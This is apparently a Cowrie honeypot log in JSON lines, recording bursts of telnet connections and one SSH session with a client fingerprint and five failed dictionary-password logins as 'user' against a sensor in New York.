{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":46678,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0209563d0fe","protocol":"telnet","message":"New connection: 24.199.85.165:46678 (10.17.0.5:23) [session: a0209563d0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:49.617778Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":46694,"dst_ip":"10.17.0.5","dst_port":23,"session":"b69be9feb208","protocol":"telnet","message":"New connection: 24.199.85.165:46694 (10.17.0.5:23) [session: b69be9feb208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:50.683239Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":46710,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f897baa9120","protocol":"telnet","message":"New connection: 24.199.85.165:46710 (10.17.0.5:23) [session: 1f897baa9120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:51.342852Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":46722,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd40edd37ecd","protocol":"telnet","message":"New connection: 24.199.85.165:46722 (10.17.0.5:23) [session: dd40edd37ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:52.170551Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40216,"dst_ip":"10.17.0.5","dst_port":23,"session":"34e523a7f43f","protocol":"telnet","message":"New connection: 24.199.85.165:40216 (10.17.0.5:23) [session: 34e523a7f43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:53.869781Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd873d418d7a","protocol":"telnet","message":"New connection: 24.199.85.165:40224 (10.17.0.5:23) [session: bd873d418d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:55.054358Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40232,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d681a677a3d","protocol":"telnet","message":"New connection: 24.199.85.165:40232 (10.17.0.5:23) [session: 5d681a677a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:55.964678Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40240,"dst_ip":"10.17.0.5","dst_port":23,"session":"29399d16dcd8","protocol":"telnet","message":"New connection: 24.199.85.165:40240 (10.17.0.5:23) [session: 29399d16dcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:56.328202Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40256,"dst_ip":"10.17.0.5","dst_port":23,"session":"a019136b1898","protocol":"telnet","message":"New connection: 24.199.85.165:40256 (10.17.0.5:23) [session: a019136b1898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:56.496221Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40268,"dst_ip":"10.17.0.5","dst_port":23,"session":"df9636caf8be","protocol":"telnet","message":"New connection: 24.199.85.165:40268 (10.17.0.5:23) [session: df9636caf8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:57.226044Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40270,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ff116093466","protocol":"telnet","message":"New connection: 24.199.85.165:40270 (10.17.0.5:23) [session: 4ff116093466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:58.404072Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38326,"dst_ip":"10.17.0.5","dst_port":22,"session":"825e67935f1e","protocol":"ssh","message":"New connection: 2.57.121.25:38326 (10.17.0.5:22) [session: 825e67935f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:58.567144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:58.571868Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:58.672476Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b646ac2853c","protocol":"telnet","message":"New connection: 24.199.85.165:40284 (10.17.0.5:23) [session: 7b646ac2853c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:58.814681Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":40294,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb90ce7a3ae","protocol":"telnet","message":"New connection: 24.199.85.165:40294 (10.17.0.5:23) [session: fcb90ce7a3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:59.130472Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"brigada","message":"login attempt [user/brigada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:59.148289Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"briefs","message":"login attempt [user/briefs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:00.251650Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bradshaw","message":"login attempt [user/bradshaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:01.357995Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"boromir","message":"login attempt [user/boromir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:02.461805Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bootleg","message":"login attempt [user/bootleg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:03.566300Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:04.670038Z","src_ip":"2.57.121.25","session":"825e67935f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43884,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcca97ad55c3","protocol":"telnet","message":"New connection: 24.199.85.165:43884 (10.17.0.5:23) [session: bcca97ad55c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:05.312101Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43896,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd53797fb33","protocol":"telnet","message":"New connection: 24.199.85.165:43896 (10.17.0.5:23) [session: 8bd53797fb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:05.384511Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fbec2a8d6d3","protocol":"telnet","message":"New connection: 24.199.85.165:43908 (10.17.0.5:23) [session: 1fbec2a8d6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:05.751359Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43918,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9dfccc2d49","protocol":"telnet","message":"New connection: 24.199.85.165:43918 (10.17.0.5:23) [session: cc9dfccc2d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:06.248183Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43934,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6d0b50d070","protocol":"telnet","message":"New connection: 24.199.85.165:43934 (10.17.0.5:23) [session: 1f6d0b50d070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:06.902296Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43938,"dst_ip":"10.17.0.5","dst_port":23,"session":"217265f199dd","protocol":"telnet","message":"New connection: 24.199.85.165:43938 (10.17.0.5:23) [session: 217265f199dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:07.055293Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43954,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9ebe50c9d48","protocol":"telnet","message":"New connection: 24.199.85.165:43954 (10.17.0.5:23) [session: e9ebe50c9d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:07.170478Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43962,"dst_ip":"10.17.0.5","dst_port":23,"session":"08340d009834","protocol":"telnet","message":"New connection: 24.199.85.165:43962 (10.17.0.5:23) [session: 08340d009834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:07.854187Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43974,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aad33694288","protocol":"telnet","message":"New connection: 24.199.85.165:43974 (10.17.0.5:23) [session: 8aad33694288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:07.905865Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62f022635af","protocol":"telnet","message":"New connection: 24.199.85.165:43988 (10.17.0.5:23) [session: a62f022635af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:08.069072Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43994,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f87a557bf6","protocol":"telnet","message":"New connection: 24.199.85.165:43994 (10.17.0.5:23) [session: 96f87a557bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:08.475338Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44002,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6c0b485120","protocol":"telnet","message":"New connection: 24.199.85.165:44002 (10.17.0.5:23) [session: 8b6c0b485120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:08.512268Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44012,"dst_ip":"10.17.0.5","dst_port":23,"session":"903645870c51","protocol":"telnet","message":"New connection: 24.199.85.165:44012 (10.17.0.5:23) [session: 903645870c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:08.584432Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.162.225","src_port":60776,"dst_ip":"159.203.135.109","dst_port":23,"session":"530073804698","protocol":"telnet","message":"New connection: 152.59.162.225:60776 (159.203.135.109:23) [session: 530073804698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:11.541186Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44014,"dst_ip":"10.17.0.5","dst_port":23,"session":"b71fd1bac832","protocol":"telnet","message":"New connection: 24.199.85.165:44014 (10.17.0.5:23) [session: b71fd1bac832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:11.579302Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44028,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a9aa3adb58f","protocol":"telnet","message":"New connection: 24.199.85.165:44028 (10.17.0.5:23) [session: 9a9aa3adb58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:12.218924Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44034,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1675131c62","protocol":"telnet","message":"New connection: 24.199.85.165:44034 (10.17.0.5:23) [session: 9c1675131c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:12.256015Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56722,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f991b47d05c","protocol":"telnet","message":"New connection: 24.199.85.165:56722 (10.17.0.5:23) [session: 0f991b47d05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:13.084758Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56730,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d87191bbf75","protocol":"telnet","message":"New connection: 24.199.85.165:56730 (10.17.0.5:23) [session: 1d87191bbf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:13.133183Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56746,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4a502535ab","protocol":"telnet","message":"New connection: 24.199.85.165:56746 (10.17.0.5:23) [session: fd4a502535ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:13.231737Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56752,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f3ff3a97b8","protocol":"telnet","message":"New connection: 24.199.85.165:56752 (10.17.0.5:23) [session: 27f3ff3a97b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:13.323453Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56762,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8ce916af698","protocol":"telnet","message":"New connection: 24.199.85.165:56762 (10.17.0.5:23) [session: f8ce916af698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:13.754879Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56768,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f6a9c416d5e","protocol":"telnet","message":"New connection: 24.199.85.165:56768 (10.17.0.5:23) [session: 9f6a9c416d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:14.229843Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56772,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6e2adc9972","protocol":"telnet","message":"New connection: 24.199.85.165:56772 (10.17.0.5:23) [session: 1f6e2adc9972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:15.352338Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56784,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5dbe0f2106","protocol":"telnet","message":"New connection: 24.199.85.165:56784 (10.17.0.5:23) [session: be5dbe0f2106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:15.596271Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56790,"dst_ip":"10.17.0.5","dst_port":23,"session":"388527dd19e8","protocol":"telnet","message":"New connection: 24.199.85.165:56790 (10.17.0.5:23) [session: 388527dd19e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:19.264112Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56792,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ebf14f75064","protocol":"telnet","message":"New connection: 24.199.85.165:56792 (10.17.0.5:23) [session: 2ebf14f75064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:19.469893Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56796,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ecd43ed1cf","protocol":"telnet","message":"New connection: 24.199.85.165:56796 (10.17.0.5:23) [session: 72ecd43ed1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:19.644989Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56800,"dst_ip":"10.17.0.5","dst_port":23,"session":"01db8580b3ea","protocol":"telnet","message":"New connection: 24.199.85.165:56800 (10.17.0.5:23) [session: 01db8580b3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:19.885051Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56806,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e8d4745cac","protocol":"telnet","message":"New connection: 24.199.85.165:56806 (10.17.0.5:23) [session: 29e8d4745cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:19.994002Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56818,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f657935da0","protocol":"telnet","message":"New connection: 24.199.85.165:56818 (10.17.0.5:23) [session: c6f657935da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:20.181853Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56826,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5bf0a886f0f","protocol":"telnet","message":"New connection: 24.199.85.165:56826 (10.17.0.5:23) [session: a5bf0a886f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:21.389822Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f76efb0e22","protocol":"telnet","message":"New connection: 24.199.85.165:56836 (10.17.0.5:23) [session: e8f76efb0e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:21.422675Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56846,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a3a612e8005","protocol":"telnet","message":"New connection: 24.199.85.165:56846 (10.17.0.5:23) [session: 5a3a612e8005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:21.513132Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56852,"dst_ip":"10.17.0.5","dst_port":23,"session":"251ee2648301","protocol":"telnet","message":"New connection: 24.199.85.165:56852 (10.17.0.5:23) [session: 251ee2648301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:21.630046Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56860,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d44d73bf995","protocol":"telnet","message":"New connection: 24.199.85.165:56860 (10.17.0.5:23) [session: 4d44d73bf995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:21.695328Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56870,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd6bffaaf8e","protocol":"telnet","message":"New connection: 24.199.85.165:56870 (10.17.0.5:23) [session: ebd6bffaaf8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:22.208019Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56382,"dst_ip":"10.17.0.5","dst_port":23,"session":"e97f93f91946","protocol":"telnet","message":"New connection: 24.199.85.165:56382 (10.17.0.5:23) [session: e97f93f91946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:22.421537Z"}
{"eventid":"cowrie.session.closed","duration":33.29799818992615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:22.915671Z","src_ip":"24.199.85.165","session":"a0209563d0fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.494932413101196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:23.663634Z","src_ip":"24.199.85.165","session":"dd40edd37ecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56388,"dst_ip":"10.17.0.5","dst_port":23,"session":"c98fd67cef45","protocol":"telnet","message":"New connection: 24.199.85.165:56388 (10.17.0.5:23) [session: c98fd67cef45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:24.265448Z"}
{"eventid":"cowrie.session.closed","duration":13.034962177276611,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:24.576025Z","src_ip":"152.59.162.225","session":"530073804698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.14454793930054,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:24.827701Z","src_ip":"24.199.85.165","session":"b69be9feb208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63234210014343,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:24.975054Z","src_ip":"24.199.85.165","session":"1f897baa9120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56394,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7b8c67bb478","protocol":"telnet","message":"New connection: 24.199.85.165:56394 (10.17.0.5:23) [session: f7b8c67bb478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:25.086141Z"}
{"eventid":"cowrie.session.closed","duration":31.29737401008606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:25.167045Z","src_ip":"24.199.85.165","session":"34e523a7f43f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56410,"dst_ip":"10.17.0.5","dst_port":23,"session":"e326ce921b80","protocol":"telnet","message":"New connection: 24.199.85.165:56410 (10.17.0.5:23) [session: e326ce921b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:27.128568Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56424,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a5484fa4dce","protocol":"telnet","message":"New connection: 24.199.85.165:56424 (10.17.0.5:23) [session: 7a5484fa4dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:27.165831Z"}
{"eventid":"cowrie.session.closed","duration":31.24246621131897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:27.207050Z","src_ip":"24.199.85.165","session":"5d681a677a3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56430,"dst_ip":"10.17.0.5","dst_port":23,"session":"1abbbef3e1ad","protocol":"telnet","message":"New connection: 24.199.85.165:56430 (10.17.0.5:23) [session: 1abbbef3e1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:27.226413Z"}
